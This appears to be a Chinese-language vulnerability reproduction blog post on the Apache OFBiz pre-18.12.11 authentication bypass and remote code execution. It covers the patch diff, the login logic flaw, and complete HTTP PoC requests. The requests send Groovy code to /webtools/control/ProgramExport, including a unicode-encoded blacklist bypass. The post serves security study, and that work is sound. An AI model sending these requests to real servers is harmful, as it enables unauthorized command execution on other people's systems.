12月27日看见长亭公众号发了这个关于 Apache OFBiz的未授权远程代码执行漏洞https://mp.weixin.qq.com/s/X3e0uUN1nPBpnhP9oSu67Q,借此来复现一下
根据介绍,影响的版本为 Apache Ofbiz < 18.12.11
github上看一下commits
主要是将username和password是否为空的判断条件改为了使用UtilValidate.isEmpty()
来判断
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede
同时在登录失败时直接返回error,不在判断是否需要requirePasswordChange
https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58
环境搭建
官网上下载有漏洞的版本,这里使用的是apache-ofbiz-18.12.10 的版本
下载解压IDEA打开
我是windows环境
执行命令构建
gradlew cleanAll loadDefault
启动调试
gradlew ofbiz --debug-jvm
IDEA连接5005端口调试
浏览器打开https://localhost:8443/accounting即可
漏洞点
根据github上的commits定位到 org.apache.ofbiz.webapp.control.LoginWorker#checkLogin
这里是校验是否登录的方法
然后这里校验是否登录的逻辑很逆天
public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
GenericValue userLogin = checkLogout(request, response);
// have to reget this because the old session object will be invalid
HttpSession session = request.getSession();
String username = null;
String password = null;
String token = null;
if (userLogin == null) {
// check parameters
username = request.getParameter("USERNAME");
password = request.getParameter("PASSWORD");
token = request.getParameter("TOKEN");
// check session attributes
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
// in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response))) {
// make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
request.removeAttribute("_LOGIN_PASSED_");
// keep the previous request name in the session
session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());
// NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted
// keep 2 maps: one for URL parameters and one for form parameters
Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
if (UtilValidate.isNotEmpty(urlParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
}
Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
if (UtilValidate.isNotEmpty(formParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
}
//if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);
return "error";
}
}
//Allow loggingOut when impersonated
boolean isLoggingOut = "logout".equals(RequestHandler.getRequestUri(request.getPathInfo()));
//Check if the user has an impersonation in process
boolean authoriseLoginDuringImpersonate = EntityUtilProperties.propertyValueEquals("security", "security.login.authorised.during.impersonate", "true");
if (!isLoggingOut && !authoriseLoginDuringImpersonate && checkImpersonationInProcess(request, response) != null) {
//remove error message that will be displayed in impersonated status screen
request.removeAttribute("_ERROR_MESSAGE_LIST_");
return "impersonated";
}
return "success";
}
这里只要我们返回success
即可表示登录成功
而这里登录失败返回error
只要这里不满足条件,不进入该if分支
那么后续流程走下来就是返回 success
这里当我们传入 ?USERNAME=&PASSWORD=
时,后端得到的 username 和 password 为空字符串,并不是null,绕过了第一步
然后后面看看这个 login
方法,只要他返回不是 error
即可满足条件
通过审计login
方法,可以发现当传入 requirePasswordChange
为 Y
,返回的值便是 requirePasswordChange
,不是 error
那么后续便return了 success
所以传入参数
?USERNAME=&PASSWORD=&requirePasswordChange=Y
即可绕过登录验证
漏洞利用
其后台的 /webtools/control/ProgramExport
接口可以编程导出xml
这里可以执行Groovy代码
参考 https://xz.aliyun.com/t/8231#toc-12
import groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate('"calc".execute()')
然后注意执行groovy代码这里有黑名单
groovy在执行时会将输入的值进行unicode解码
使用unicode编码进行绕过即可
poc
POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 644
groovyProgram=\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u0067\u0072\u006f\u006f\u0076\u0079\u002e\u006c\u0061\u006e\u0067\u002e\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u000a\u000a\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u0020\u0073\u0068\u0065\u006c\u006c\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0047\u0072\u006f\u006f\u0076\u0079\u0053\u0068\u0065\u006c\u006c\u0028\u0029\u003b\u000a\u0073\u0068\u0065\u006c\u006c\u002e\u0065\u0076\u0061\u006c\u0075\u0061\u0074\u0065\u0028\u0027\u0022\u0063\u0061\u006c\u0063\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u0027\u0029
当然,除了使用unicode编码绕,还可以利用黑名单之外的东西,实现在代码层面上的绕过
参考https://xz.aliyun.com/t/8231#toc-12
直接执行命令
POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
groovyProgram="calc".execute()